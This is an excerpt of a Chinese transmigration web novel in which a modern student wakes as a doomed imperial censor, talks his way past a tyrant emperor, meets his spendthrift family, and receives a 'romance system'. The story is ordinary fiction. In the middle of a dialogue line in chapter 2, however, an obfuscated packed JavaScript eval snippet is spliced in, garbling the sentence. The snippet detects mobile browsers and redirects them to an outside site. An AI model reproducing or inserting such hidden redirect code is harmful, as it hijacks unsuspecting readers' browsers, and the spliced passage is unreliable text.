《暴君别砍,我是奸臣》 1. 我的舌头危矣 大凉国嘉予三年,十月,初冬。 远山清苦,天空细雨飘摇,吹进大殿的冷风裹挟着彻骨寒凉的雨滴。 大凉国,祥鸾殿内。 文东武西,几十个人分列左右,整齐静默地站着,肃穆如一道道墓碑。 符荔回过神来的时候,双膝正跪在地上,双手交叠贴地,额头抵在手背上,整个人呈现跪地匍匐的姿态。 掌心和膝盖传来刺骨的森寒,冻得他重重打了个哆嗦。 不知是不是因为跪太久,膝盖痛得犹如针扎,脑袋充血发胀,晕乎乎的,嗡嗡直响。 缓慢地抬起头,眼前地面是由一块块油光水滑的方正金砖铺就而成。 再往前,左右是十几个蓄胡束冠、身穿紫袍的男人,分列左右。 他跪在这些人中间的走道上。 那群男人低头沉默的背影尽头,是十几级精美的雕龙台阶,左右四周各是四五根双人合抱的刻龙金柱,撑起他所在的宽敞宫殿。 外面阴风细雨,四周的窗户大都关着,沉积多年的陈年昏幽在窥探,侵蚀着他们的身影。 周围人影绰绰,形如鬼魅,不甚真切。 除了一人。 他直起上身,望向正前方高阶之上。 左右四座高架连枝灯上熹微的烛火在飘摇跳动,微微颤抖。 一人歪靠在正中紫金龙椅一侧,头戴冕旒,身着黑金九龙炮,姿态慵懒,风神潇洒,神色难辨。 那人左手撑头,另一只手搭在右侧的龙椅扶手上,骨节分明的食指一下一下地击打着黄金龙首。 左手虎口处挂着的十二串白玉珠垂下手腕,轻轻摇曳,闪烁着冰冷细碎的光芒,符荔只瞄了一眼那晃动的冕旒就不敢多看,赶忙移开目光观察四周。 龙纹,宫殿,冕旒,皇帝? 他不是应该躺在大学宿舍床上睡觉吗,跪在这里干什么?演戏?做梦? 膝盖好疼是怎么回事?这也太真实了。 额头潮潮的,摸了一下,指腹带着濡湿的浅红血迹,已经破皮出血,肿了老大一块,难怪头晕。 他竟然把自己磕晕了? 但什么时候,他怎么一点印象都没有? 他双手按了按自己的脸,摸摸脖子和手臂,抓着袖口,不可思议地瞪大眼睛。 他怎么和这些男人一样,也穿这种紫色长袍? 难道他……穿越了?! 符荔瞪大眼睛。 “符荔,你可知罪!”龙椅旁边,一道不尖锐但不失阴柔的声音响起。 名字一样,不会连脸都一样吧。 “臣,不知。”他满眼茫然地摸了摸脸颊,喉咙发干道。 不知罪名,何来的知罪。 额头很痛,太阳穴青筋直跳,身体发出一阵阵的恶心眩晕,脑震荡无疑。 但眼下大殿气氛压抑至极,一股风雨欲来的味道,哪怕膝盖再刺痛,他也知道不是站起来的时候。 没有原主记忆,没有系统,两眼一抹黑,一上来就问罪,目前只能走一步看一步,先瞧清楚形势再说。 这时候,左边第一排的一位大臣悠哉转过了身子,面对着他,眼里闪过一丝不怀好意的目光。 那人生得虎背熊腰,圆眼浓眉,络腮胡,穿着圆领袍,袖口带着护臂,一副卸了甲的武将装扮,活像一只穿了武将袍服的黑猩猩。 黑猩猩朝上首行了个礼后,指着符荔,声音震如雷霆,在大殿回荡。 “陛下,你看,奸臣自己跳出来了!此子以劝谏之名,行鼓动污蔑之实。臣近来听闻,康王正在与朝中某些大臣秘谋,依臣看,以左相为首的清流一派这是借符荔的嘴,表露欲改换门庭的心思。” 右侧队列第一排的一个人站出来,一脸坚决,像是要悍然赴死的模样。 只听赴死哥开口,“臣等忠心,天地可鉴,绝计不可能投靠康王。吾等从始至终只效忠陛下一人,只愿陛下守住社稷江山,不为奸人所蒙蔽,臣等肝脑涂地也在所不辞。” “谁人不知,符荔是你的门生。你清流一派自认清正,高风亮节,表面上一套又一套,说的是好听,谁不知道你们的嘴是淬了毒的刀,看谁不满就编排污蔑,最擅长凭空捏造。陛下最是仁德圣明,你们少在这里危言耸听!现在还说陛下被奸人蒙蔽,我看这奸人就是你!” 符荔总算明白了点。 原身和赴死哥是清流一派的,和这个黑猩猩不对付,刚才自己说了一些事情,对方找到了攻讦的点,自己被污蔑成奸臣了。 在他穿过来前,原身这是说了什么天怒人怨的东西? “陛下,”一个花白胡子老头站了出来,为难道,“也许,符大人年岁尚小,许多事情未能看全貌,许是受某些别有用心之人蛊惑也未可知。” 帮他说话和稀泥的人来了。 赴死哥立刻沉下脸,厉声道:“曹府尹,我和符大人行得正坐得直,从未受任何人蒙蔽,也未曾受任何别有用心之人的蛊惑,今日一切所言,皆出自本心。” 大叔,你好勇,但能不能顾及一下别人的性命。 “符卿。”龙椅扶手上的食指这回点在龙首上,没有再抬起。 几位争执的大臣立刻低头,站回队列里,不敢说话。 符荔左右看看,不知道自己的位置在哪,只能低头,孤零零地继续跪在正中央。 “既然都讲到这个份儿上,你也别藏着掖着了,有什么话,今日讲个痛快。” 漫长的神经弧终于将冰凉的温度从手脚传到了大脑,符荔脑海里只回荡着两个字——凉凉。 此刻,仿佛有一把寒光凛冽的屠刀架在肩膀上,刀锋的距离正在无限逼近自己可怜的脖子。 “陛下,符大人只是心直口快,他心里并非这样想,求您饶他一命。”这时,一个身穿深绯色官袍的年轻人直直走了出来,跪在他身边。 符荔瞄了一眼,这人长得倒是挺俊俏,就是带着书生特有的呆头呆脑。 “朕倒是觉得符卿豪迈有气节,正色敢言。” “臣愧不……” “敢当”符荔两字还没说出口谦虚客气一下,就听上首的人又开口,压根没给他说话的机会。 “这条舌头肯定筋道,来人,把他舌头拔了,给朕炒盘竹笋爆香舌。” 符荔:!!! “陛下,您听了旁人说那么多,能否也给臣一个辩解的机会。” “说。” 殿外走进来一队廷卫,眼看距离越来越近,如果他没能说服皇帝,给他个留下舌头的理由,这些人就要把他拖出去了。 “臣知道这理由很扯,但这是真的。臣方才头磕猛了,不小心失忆了。” “聒噪。” 旁边公公立刻催促道:“还不赶紧拖出去。” 别的主角穿越后说自己失忆,大家都坚定不移地相信了,之前的过往都翻篇,怎么到他这里就行不通了。 “陛下饶命,求您饶恕符大人的无心之失。”绯色官袍呆书生再次磕头替他求情。 “陛下,臣冤枉!”符荔更是慌得不行,求助的目光看向周围人。 “符大人,你不愿赴死,是还有什么遗言吗?” “不用担心,今日你以死明志,陛下会将你铭记于心的。” “陛下一定会因为你的死有所触动,以后好好改正言行,你就放心赴死吧,别连累了旁人。” “日后陛下有我们守护,你就不要担心了。” 这是人话! 刚才的赴死哥再次开口。 “今日陛下就算处死符大人,他说的也没有错,今日局面乃陛下德行有亏造成,是以惹来天怒,惩罚大凉三年洪灾。请陛下降下罪己诏,反省自醒,仁德治国,切勿再动干戈,致使无辜之人丧命!” 一群人哗啦啦跪了下来,“请陛下降罪己诏,反省自醒,仁德治国。” 放眼望去,整个朝堂上半数之多的人都跪下了。 我们到底什么仇什么怨,这样坑我! 眼看廷卫已经走近,符荔惊慌地大叫,“你们空口白牙乱说什么,陛下何罪之有!” 此话一出,一群人的目光齐刷刷朝他望去。 侍卫眼看要上手,符荔大喝一声,先发制人,以气势镇压他们。 侍卫互相交流了下目光,没敢动他了。 符荔深呼吸一口气,痛心疾首地看向在场大臣。 “看看,看看,陛下,这就是你忧国忧民的好臣子,平日里不好好为君分忧,反而在这谈论你的是非功过,这到底是所谓的忠心还是寒心?” “要我说,你们跪下的一个个才是最大的奸臣,为了一己之私,在这让陛下难做。陛下是多么民主、多么仁德、多么爱护臣子的好帝王,因为没有符合你们心中的帝王标准,就要在这造谣诽谤,让陛下难做,你们才是最不可饶恕的人!” “符大人,你一向刚正不阿,怎么说出这种罔顾是非的话?” “陛下刚刚还想割你的舌头,你忘了不成?” 符荔嘴巴张了张,憋出一句,“这不是还没割么。” 他嘴角下撇,转身瞬间换成一副哭丧的脸,跪在地上,哭诉道:“陛下,如果你今天割了臣的舌头,臣半分怨言都没有。但是,以后围绕在你身边的一二三……这些都是奸臣啊,一想到这个,臣就担心得夜不能寐,吃不下饭,食不言寝不语。” “这都什么乱七八糟的。”一个大臣捂着脑袋道。 符荔贫瘠的语文水平意识到自己好像是用错词了,赶紧总结道:“不管怎么样,我的心里始终装着陛下,一片真心,十分忠诚,只愿为他一人肝脑涂地!” “还不赶紧把人拖下去。”龙椅旁的太监催促道。 “等等。” 漫不经心的语调里,是符荔这条命死与生的轻易转换。 大殿内一片静默。 狂风从侍卫方才打开的大门处涌来,灯火被吹得摇曳妖娆,将殿内一张张人脸照得神色或癫狂或阴郁,人影闪烁,扭曲成一条条怪诞的黑影。 好几盏灯火熄灭,周围又更暗了些许。 符荔浮夸的表情还僵在脸上,浑身颤抖,不知道是冻的还是吓的,但这么一吹,他眩晕的脑袋反倒清醒了不少,喉咙里蠕动的恶心感也没了。 等平复了呼吸,再看群臣的表情,似乎都带上了欲说还休的错愕。 刚才那个呆书生也不叫了,面无表情地看了看他,又看了看上首,复又看了看他。 符荔不明所以。 他忠心表错了? 刚才这些话哪个字眼说错了? 回想了下,没有啊,马屁拍得多好。 吸吸鼻子,他眼里泪光打颤,着实是有点冻着了。 忠心耿耿的赴死哥一脸被雷劈了的表情,看他的眼神像是怀疑符荔被鬼上身了。 在他印象里,符荔向来嫉恶如仇,清流正直,万万不可能说出这种话。 但这样的人突然改了口风,背刺清流派的做法明显取悦了上首的皇帝。 龙椅之上的人慢慢坐正身体,冕旒之下的脸色却是变得更加诡谲难辨。 随着他慢条斯理的动作,无形的威压顿时布满整个大殿。 那双狭长的瑞凤眼,第一次落在了符荔的身上。 “符荔,你方才说,心里只有朕?” “是。” “说说看。” 看 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“这么说,”灯火下,皇帝声音微哑,“你刚才所言,都是为了朕的名声?” “只要能为陛下赴汤蹈火,臣在所不辞,”他怕这个狗皇帝一个不开心真让他去死,赶忙补充道,“但也希望死得其所。” “符卿。”玄黑的龙袍染着一层烛金,倒映的影子被拉长,扭曲,好似随时能从着变形的影子里撕裂出一只獠牙厉鬼。 符荔艰难地咽了口唾沫,他低垂着头,没敢看上首的人,冻得发僵的掌心还是冒出了汗。 “你是忘了方才跪在御阶之下,以头抢地,慷慨陈词,用铮铮傲骨死谏了什么吗?” “我……”原身到底说什么了! 这狗屁的穿越,啥提示都没有给他留下。 “你是忘了怎么骂朕的吗?” “臣……臣哪里有胆子骂您。”符荔缩着脖子,在寒风中颤抖道。 原主才真有胆子,敢骂皇帝。 不会狗皇帝又想要他的命了吧。 “那些话都是别人逼臣这么说的。”他毫不犹豫甩锅指向旁边的赴死哥。 “符大人,你怎么……”赴死哥瞪眼,羞愤难当。 他的学生里怎么出了这么个贪生怕死的败类! “朕生前都无惧于任何骂名,何况死后。朕就算杀光了御史台所有人,废除负责监察谏言的所有官职,那又如何?” “陛下,你不喜欢御史台,撤除了便是,臣可以去别的单位部门……也就是衙署讨个闲职的。” 阴冷的眼神陡然凌厉,搭在龙椅上的手攥紧,指节发白,微微颤抖,青筋隐隐凸显,已经缓和的气势一下子威骇逼人起来。 这话又哪里得罪皇帝了,符荔百思不得其解,一时间也不敢多说话了。 过了好半晌,上首的人似乎冷笑了一声,这才开口。 “御史大夫这位子,你继续坐着。” 皇帝站了起来,凉薄苛冷的视线透过颗颗圆润的摇曳玉珠,居高临下的目光再次落在他身上。 “符荔,今日朕且饶你一命。” 符荔心里纳闷,怎么上面的人嘴里的话变了,但心里终于松了口气。 “你想玩,朕便陪你玩玩。” “啊?” 谁想玩了。 他愕然抬头,只看到一道骨峻挺拔的背影,像狼毫墨尽时强撑出的飘渺浮薄。 不知怎的,他感觉这个皇帝的脚步有点虚,看起来在强打精神。 “退朝——” 随着大太监的一声掐细的尖锐嗓音响起,他连忙低头,和其他大臣一样躬身行礼,送离皇帝。 ———— 祥鸾殿外甬道里。 大太监王鸿恩跟在龙辇旁,落他身后半步,一位小太监湿了大半身子,正亦步亦趋地为他撑伞。 “符荔这位御史大夫还是太年轻,不稳重,要不要奴婢寻个罪名发落……” “不用。” 黑纱龙章轻幔拂过,疲惫倦躁的嗓音透出来时,多了一分愚弄他人的轻蔑。 “朕且先看看,这次这个能翻出什么浪来,待无趣了,再杀也不迟。” 王鸿恩双手互揣进左右袖子里,轻慢地无声笑了一下,躬身回道:“是。” ———— 被他们讨论的符荔此刻一脚深一脚浅地跨出大殿门槛,腿一软,差点摔倒在地上。 一人及时扶住了他。 是方才为他求情的呆书生。 “柏徽,你今日是怎么了?”他问符荔。 “中邪了。” 他怎么就穿越了。 “是中邪了。”那人沉思着认真点了点头,“我还以为你以头抢地,是要以死明志,没想到你为了保命,竟会说出那些谄媚奸佞之语,委实让人意想不到。” “……难道活着不更重要吗?”这些古人读书读傻了吧。 “相比于活着,当然是气节更重要了。” 你这是人话? “不过,你绝非那等狡猾奸邪、贪生怕死之人,我怎能如此看待你。”他转念一想,肯定道,“定然是因为我站出来给你求情,你怕连累到了我,这才委曲求全,说了那番违心的话。” “你想多了。” 呆书生眼里有了一丝波动,但仍旧没什么表情。 “早知道我就不出来帮你求情了,是我愧对你。” “我……” “什么都不必说了。”年轻人抬手阻止了他说话,“以后你要干什么,我绝对不拦着你,你要往东,我绝不往西,要死一起死。咱们一起,青史留名!” 不是,大哥你谁啊,谁要跟你一起死啊! 2. 我的奇葩家人 符荔跟随朝臣往宫外走去,随着聊天的熟络起来,他也旁敲侧听得知了这位帮他说话的呆书生身份。 吕旻,字怀熙,当朝吏部尚书之子,年方二十四,就已经是四品大理寺少卿。 “怀熙兄这名字起的好,前途一片光明啊。”他由衷夸赞道。 何止光明,简直亮得人睡不着。 自己但凡有个尚书爹,何至于舌头快要保不住。 “莫笑话我,你是三品御史,论职位,你比我高一品两级,年岁还比我小两岁,你才是惊才绝艳的天之骄子。” “我这么厉害吗?”他目瞪口呆地指着自己,“御史台是没人了吗,竟然让我当这么重要的官?” 这就是个草台班子啊。 “是的,没人了。自从三年前陛下登基之后,一有不满就杀官员,能当御史的都是出了名的诤臣,要么弹劾陛下最受宠的奸臣,要么直言劝谏陛下的不当言行,全都是陛下不爱听的话。新上任的御史大夫每次屁股还没坐热,就被陛下给杀了。” 吕旻拍了拍他的肩膀,“等你恢复记忆就会知道,整个御史台,如今就剩你还有一个主簿了。” “那个主簿怎么不当御史?” “他是京兆府尹的小孙子,刚才大殿上帮你说话的花白胡子老头就是他祖父。” “……我真是谢谢他了。” 符荔恍惚地扶住额头。 他能当上御史大夫不是因为后台硬,而是因为后台不够硬。 “能否问下,我当这个御史多久了?” “第三天。” 才三天,他就要丢舌头! 要是再在这个位子上待几天,岂不是要没命! “之前坐这个位子的人是因为什么触犯龙颜的?” 他好吸取经验教训,规避一下。 吕旻想了想,边走边道:“上一任御史大夫是因为在朝会上打了个嗝,陛下觉得他吃太好,人死不够还被抄了家;上上任是因为朝会结束后走得比较慢,被心情不好的陛下看到了;上上上任是因为他说话腔调不好听,我也觉得,说话的时候总是大喘气,听着真累,然后就被砍了;还有上上上任……” 他一口气说了十几条不同的死因,符荔听得瞠目结舌,后颈发凉。 “那我刚才在朝会上说了什么?” “你就正常多了。” 吕旻突然昂首挺胸,挥斥方遒,“你痛斥陛下禁锢善类、宠信奸佞,党派倾轧、嫉贤妒能,草菅人命、迫害族亲,割地岁贡、拜虏称臣,贪污横行、买官风盛,天灾降世、民不聊生……一条条一件件,共陈列十八条罪状,把所有人说得哑口无言,两股战战,冷汗直冒。” 符荔抹了把脸,缓和一下僵硬的肌肉,讪笑道:“难怪他想把我杀了。” 吕旻奇怪地看他,“你不是没死吗?” 符荔指了指自己的额头。 “这不是你声泪俱下陈词痛斥的时候自己磕的吗,想让陛下迷途知返。” 原主是个狠人,把自己给磕死了。 “我都戳着陛下的脊梁骨骂了,他就只是想要我的舌头?” “我开始也有点奇怪,但转念一想,他估计憋着后招折磨你,你要小心。” 说着,吕旻叹了口气,“本来是一个多好的成为千古忠臣的机会,竟然就放过你了,连舌头都不割了,以后成名而死的机会可就少了,只有生不如死。” 符荔昂首挺胸,气沉丹田,傲然一笑,“就这么跟你说吧,此刻站在你面前的,是一位气运之子,不可能死的。” 其他人都不会穿越,就他穿越了,不是气运之子是什么。 “你莫不是被陛下气处癔症来了吧?”吕旻费解地看他。 “尔等俗人哪里懂,每次一到生死关头,命运都会通过影响各种因素安排我活下来,吾乃天选之人。” “这样你不是没办法死谏了,那还怎么千古留名?” “我自有我要扬名立万的路。” “原来如此。”吕旻完全没听懂他的话,但就觉得高深莫测的很,一脸沉思地点点头。 符荔神色微顿,“冒昧地问一下,我跟你认识多久了?” 这种冒着生命危险挺身而出为他说话的人,肯定跟原主关系很好,他万一露馅了怎么办。 “第三天。”吕旻道。 “什么!”符荔舒了一口气,“原来你是在我当上御史大夫后才跟我认识的。” 吕旻沉默了下,道:“不,当时是你走了过来,先与我搭话。” “那不是一个意思?” “不一样。”吕旻的脸上出现前所未有的认真,“是你,认识了我。” 这人脑子一根筋,还挺较真。 眼看五六个小厮仆从围了上来,他登上了自家的马车。 “日后还有青史留名的机会记得叫上我,我先去公廨处理公务,你记得把伤处理一下。”说完马车便离开了。 符荔站在宫门口下张望,官员们骑马的骑马,坐马车的坐马车,全都陆续走完了。 “……” 原主上朝不会是靠走的吧?这么穷? 更重要的是,他不知道自己家在哪儿啊。 “少爷,少爷!”一个小厮牵了头跛脚驴过来,“少爷,你站在这里发呆做什么?你的头怎么了!” “磕破了,脑袋晕晕的,有些东西记不住了。” “少爷,你不会失忆了吧?” “嗯,跟失忆差不了多少。”符荔含糊道,“你跟我说说你全部知道的。” “我可怜的少爷!”小厮连忙小心扶着他坐上驴背,“方才听他们说今天朝会上有人差点丢了性命,我还寻思着这人是谁,没想到是你。都说当了官就能有好多好多的银子,还有大宅子和数不清的仆人伺候,怎么还要没命。” “我原本也是这么想的。”符荔泄气道。 扬名立万的气运之子差点折损在这个不干人事的狗皇帝手里。 小厮牵着驴沿着大街走了好久,又一路左拐又绕,繁华的大街一直走到鱼龙混杂的街户,高耸威严的宅邸渐渐变成普通宅院,又从宅院走到低矮破落的小户,黑驴终于停下了蹄子。 不远处传来此起彼伏的叫骂声,似乎发生在门内,又似乎在后边的巷子里。 狗叫凶狠地响起,一股不知道哪里飘来的鸡屎味。 小厮敲了敲门,过了许久,符荔才听到门栓移动的声音。 他打了个喷嚏,笨拙地从跛脚驴的背上下来。 再坐下去,他的屁股要变成碾碎的豆腐花。 一只指节粗大的手抓着门边,使劲掰了两下,门轴发出吱呀磨损的声音,这才艰难地打开。 符荔根据那只手判断,开门的是个男子,没想到是个脸颊布满皱纹、但又抹了一层胭脂水粉的女人,黝黑的脖颈和耳朵下,那张脸像是从纸扎人身上剪下来贴上去的。 “鬼啊!”符荔哀嚎道。 “荔哥儿,你撞邪了吧,我是你娘啊。”原主的亲娘赵细娘穿得花红柳绿地出来,发髻侧边的大红牡丹晃了一晃,“你这是怎么了?” 话还没说两句,眼里的泪先夺眶而出。 “我苦命的儿子啊!怎么伤着了?这让我怎么活啊!” 后头的叫骂声停了一下,后屋门打开,进来了个膀大腰圆的年轻妇人,全身粗细五彩飘带挂了一堆,打扮得和他娘有异曲同工的效果。 “五儿,外头都下雨了,你怎么不给荔哥儿打个伞,惯赔钱的懒货。呀,荔哥儿,你的头怎么伤着了?” 好家伙,一个人哭变成两个人嚎丧,哭声此起彼伏,不在一个调上,一个像挂着许愿条的千年榕树,一个像黑炭瘦猴,一个粗壮一个嘶哑,符荔耳鸣轰隆,脑门上的青筋直跳。 “够了!”他重重叹了口气,“能不能让我先进屋。” 赵细娘睁开眼睛一看,忙停了嚎叫,赶紧道:“对对,五儿,快去拿身干净衣裳来,不,我亲自去拿。” 她在原地打转了下,慌不择路地进了里屋。 符荔在五儿的搀扶下迈过起皮掉屑的门槛,眼前是个小小的方厅堂,除了一张大圆桌,靠墙摆着案桌,桌上有陶碟和香炉瓜果,墙上正中间贴着张褪色蒙灰的红纸,上头是用毛笔写着的“太素神主之位”。 虽是白天,逼仄的屋里已经透不进来什么光线,只勉强能看清人的五官。 厅堂隔壁是个卧房,符荔没进去,那是原主他爹娘住的。 从厅堂往里走,眼前一个方形小院映入眼帘,长宽不过八步距离,墙角生着碧绿的苔藓,散发着淡淡的潮湿霉味,中央放着一个大水缸,里头都是雨水。 院子北边是符荔大哥三口和二哥一家的卧房,西边是厨房,东边是仓房,放着粮食柴炭和腊肉腌菜,中间一个大石磨。 从北边的卧房和仓房之间的小楼梯往上走,二楼有三间房,最大最敞亮的一间是他的。 这小宅子几眼就看完了,等赵细娘再出来时,衣物布巾,膏药烈酒,还有早食糕点,全都细致地放在托盘端着。 “快去把衣裳换了,五儿,给你少爷擦擦头发。今年的炭比往年贵了三倍不止,要是到了腊月,这可是要老命了,现在还不算太冷,得节省些用。” 粗壮的年轻妇人拔高了腔调道:“还是我们荔哥儿有福气,当了大官,冬日里有炭薪,不愁没炭烧。” 后巷里又传来好几声骂骂咧咧的声音,妇人脸色一变,从仓房旁的角门挤出去,又冲到了后巷里和人对骂起来。 “如意,你消停些。” 赵细娘摇摇头,待他换完了衣裳,仔细地给符荔擦药,裹上好几层布条,这才平复了心情,去将衣裳洗了。 等符荔吃完早点,家里剩下几人也陆续回来,除了还在城外种地的爹,连在外头摆摊卖字画的二嫂都被五儿叫了回来。 大家围着嘘寒问暖了一通,符荔脑袋不太疼了,根据路上五儿跟他说的话,撇开字里行间的私人恩怨,开始一一跟眼前的这群人匹配。 给他开门的那个满脸沧桑的干瘦妇人是他的亲娘,赵细娘。 风一吹就要倒的人是他大哥,符大苇,刚才大嗓门和人对骂的榕树精是他媳妇,许如意,她俩有个六岁的儿子耀哥儿。 一脸流里流气的男人是他二哥,符二芒,他媳妇是柳珠珠,看起来稳重端庄。他俩今年刚生了儿子,临哥儿。 一身魁梧腱子肉的年轻男人是他的三哥,符小藤,前两年刚成的亲,媳妇叫王鱼,与老二媳妇不同,她比较活泼。 上面是符家的三胞胎,符荔在这个家行四,祖坟冒青烟,老符家一百年族谱里第一位高中状元的“耀祖”。 他底下还有一个妹妹,符芸,年十五,也快到了议亲的年纪,一家人愁得不行。 眼看到了中午,赵细娘招呼大家伙儿来厅堂吃午饭。 “荔哥儿,你这伤是怎么弄的?”符大苇看着身子挺虚,干饭比谁都快,别人刚落座,他的脸已经被嘴里满满的饭塞得鼓鼓囊囊。 刚穿过来不到半天,具体情况符荔也不清楚,担心露馅,就胡乱说了几句,没想到一桌子人都吓了一跳。 “咱们怎么能说陛下的不是呢。”符二芒不赞成道,“这是掉脑袋的大罪。” “应该不会连累到我们吧?”符大苇道,往嘴里塞了一大片厚厚的肥肉。 “荔哥儿都好好地回来了,肯定不会连累到我们。”许如意笑道,又给自家男人夹了一大筷子肉,“多吃点,你最近都瘦了。” 三嫂一看自己的肉被人截胡,连忙夹了一大筷子鸡肉,分别塞进自己和丈夫符小藤碗里。 符芸不甘示弱,赶紧夹了豆角炒肉丝,三两下就把碗里的饭吃完了。 “还别说,芙蕖楼的味道就是不一般。”许如意鼓着腮帮子道。 一群饿死鬼投胎。 “什么芙蕖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334866|199235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼?”符荔道。 赵细娘将飘着油的肉汁倒进饭里,乐呵呵道:“家里新请的厨师,芙蕖楼里的,每天做一顿午饭,食材我们准备,一月只要十两银子。” “十两!”符荔颤颤巍巍地张开了手。 “便宜吧,快尝尝这莲花鸡,都给你留的。”符大苇道。 “你们当钱是大风刮来的吧!”符荔想起回家路上五儿说的话,道,“入京以前,十两银子够我们一家吃喝一年了吧?” 大哥符大苇当初在村里就是有名的童生,早年送去学堂识字读书,没学出半点名堂来,考又考不上,干活也不会,干脆当上了啃老一族。 大嫂就更别说了,十里八乡有名的悍妇,从来只有她占别人便宜的份儿,就没别人给她受气的理。那张嘴皮子上下一碰,就没怕过谁,至今毫无败绩,谁敢让她出去干活,那是嫌自己命太长。 “这不你都当上三品大官了,哪里还能跟之前比。”符二芒道。 这位二哥是个狠人,十三岁就跟当地一个黑商做点走私贩盐的生意,在刀口上舔生活,却赚不了什么钱,成亲后也就勉强糊口,时不时手心向上,找亲爹娘帮衬。 “别说,我还挺想吃以前的野芋粥。”符小藤笑道。 三胞胎中的老三老实憨厚,一直在帮家里种地打猎,本来能糊口谋生,原主爹娘偏是个拎不清的,自四年前原主高中状元后,就将老家的田地卖了,举家搬迁到京都来,都不去找工干,天天闲在家里,死活要靠原主那点俸禄过活。 才这么一顿午饭就吃得他膈应到不行,完全没心情继续吃了。 符大苇放下碗,抹了抹嘴,问:“荔哥儿,我看这个大凉国君很不靠谱,自打登基以来,各种骄奢作风就不说了,简直不拿百姓当人看,大凉以后怕是要败在他手上。现在你还得罪了他,日后肯定没什么好日子。 “我琢磨着在亡国前啊,你要不先投靠别人,先挑个好相与的国君。要是等亡国后再想着投靠,回头大凉那么多官儿都去了,咱们就捞不到什么好职位了。” “亡国?”符荔没想过这茬。 这国家这么脆皮的吗? 不过想到自己二十二岁就能当上这么大的官,能亡国不是迟早的事吗? 只是大哥这话怎么那么像卖主求荣的叛国贼呢。 “二两饭下去就在你肚子里发酵出酒了?你还指点起荔哥儿来了,你以为你是谁。”许如意笑骂道,“念两本书而已,难道比荔哥儿还学问多。” 大哥被自家婆娘说得脸色讪讪,摸着后脑勺笑道:“荔哥儿是我们老符家最有出息的,我哪里敢。对了,荔哥儿,这个月的月俸到了吧,你大嫂的胭脂快没了,我……” “没有就自己去赚。”符荔严肃道,“知不知道现在朝廷有多艰难,我的俸禄已经很久没涨,不怕下个月全家喝西北风,你们就拿了我的银钱去买胭脂。” 符大苇面色尴尬,被骂得不敢还嘴。 大凉国连年征战,国库空虚,官员俸禄十几年没涨,物价却一天一个样儿。 不说之前他只是御史台里的一个五品小官,就算现在是御史大夫,一年就只有三百六十石米和五十四两银子,哪怕加上一些时服和炭薪,不贪不抢,在京都养活这么一大家子人,已然是举步维艰。 单单如今他们住的这栋破旧的小宅子,一年的租钱就要三十六两,这还是京都里头最普通的平民住宅,十几口人挤在这里,睡觉翻身都困难。 对了,听五儿说,原主实在捉襟见肘,好说歹说,终于写些字画劝二嫂拿到街上去卖,一年下来也能补贴点家用。 但是,符荔他不会啊!以后这营生只能断了。 所幸他爹是个闲不住的,帮他料理城外的职田,一年也能产些粮食,至于具体多少,原主一心扑在自己的宏图伟业上,完全没关心这些家长里短,五儿不清楚,符荔自然也就不得而知。 把进项和支出两厢算一下,家里早就到了入不敷出的地步,这一大家子人还没清醒过来,一个月花十两银子请酒楼大厨做饭。 没考中状元前,他们野菜就着几粒米的稀粥照样喝得好好的。 人家耀祖是全家供着,他这个“耀祖”是被吸血的那个。 真愁。 不是要小命不保,就是被自己家榨干。 国事家事,样样都愁。 不过转念一想,小说中的气运之子不都是天崩开局的嘛,淡定,淡定。 “我这还有点,补贴给家里用用,胭脂的事情不急。” 许如意放下碗,麻利地从围腰里拿出一个荷包,递给符荔,打着圆场道:“都是一家人,互相帮衬着点,如今你的字画也拿出去卖了,少说一幅也值好几百两。” 老二媳妇放下碗筷,为难道:“一幅都没卖出去。” “什么?他们怎么这么不识货!你跟他们说这是天下第一状元的字画没有?”符二芒拍桌大叫道。 “天下第一状元又怎么样,还不是得乖乖花钱养一堆游手好闲的人。”符荔把荷包推回去。 今日得了许如意几个铜板,承了她的情,明日她就敢狮子大开口“借”好几两银子。 这夹枪带棒的话让饭桌上的几人脸色尴尬,不敢说话。 赵细娘脸色也局促起来,花钱请厨子做饭的主意是她出的,都是状元的娘了,怎么可能还亲自下厨做饭。 “最近是没什么银钱了,等来年春天,我和你大嫂就出去找活儿干。”符大苇赔笑道。 “大哥最好说到做到,早点承担起家庭重担来。我吃饱了。”符荔心里不愉,但眼下他才刚来,还不熟悉情况,自己也才刚死里逃生,不好再说什么。 “叮——恋爱为民系统已上线,亲爱的宿主……” “嗷——”符荔在一大家子人诧异的目光中满血复活,冲上了二楼房间。 “系统,统统,我就知道,你不会放弃任何一个苦命的穿越者的!” 3. 我的不靠谱系统 破旧但整洁的屋子里,一个不和谐的蓝色电子亮面平板悬在半空。 “系统,你都会什么?”符荔激动地搓手,“这个狗皇帝,竟然想要割我舌头,我要推翻他的暴政,揭竿而起,建立新的王朝,开创盛世,看看最后到底谁是爹!” “还有我这一大家子极品也不是省油的灯,有没有灵泉或者什么空间,我要摆脱他们,自己发家致富!” “本系统是第三代恋爱为民系统,宿主说的这两项业务都没有呢。” “那我能干什么,恋爱?” “是的,恋爱。” “……” “本书世界的大陆分裂成十九个国家,各国争霸局面已经持续了几百年,还有数不清的小国林立其中,国家之间实力差不多,互相吞并不了,又要连年侵略征战别国,造成无数百姓伤亡。” “我们书中世界□□系统已经检测到这个世界的人口数量达到了警示红线,平均寿命已经下降到39.68岁,再这样下去,整个世界都将灭亡。所以,我们需要出手干预,培养一个国家壮大起来,统一大陆……宿主,你在听吗?” “嗯。”符荔打了个呵欠,垂下脑袋。 “本书世界发展主要是以大凉国为背景,您这具身体是本书世界的主角受,按照原本剧情发展,在日后与主角攻恋爱之后,你们会因为各种相爱相杀和狗血误会,导致大凉国生灵涂炭,最后亡国。而你们美美隐居,浪迹天涯。” “你的任务是避免主角攻因为恋爱导致民不聊生,辅佐他成为一代明君,帮助大凉百姓过上和平富足的生活,最后统一大陆十八国,奖励是得到一亿奖金回到原本的世界。” “本书世界?主角受?那是什么东西?”符荔一脸茫然地问。 眼前半空中出现一本半透明的电子书,一页页文字徐徐向他展开。 等他看完整本书,终于知道了一个大概情况。 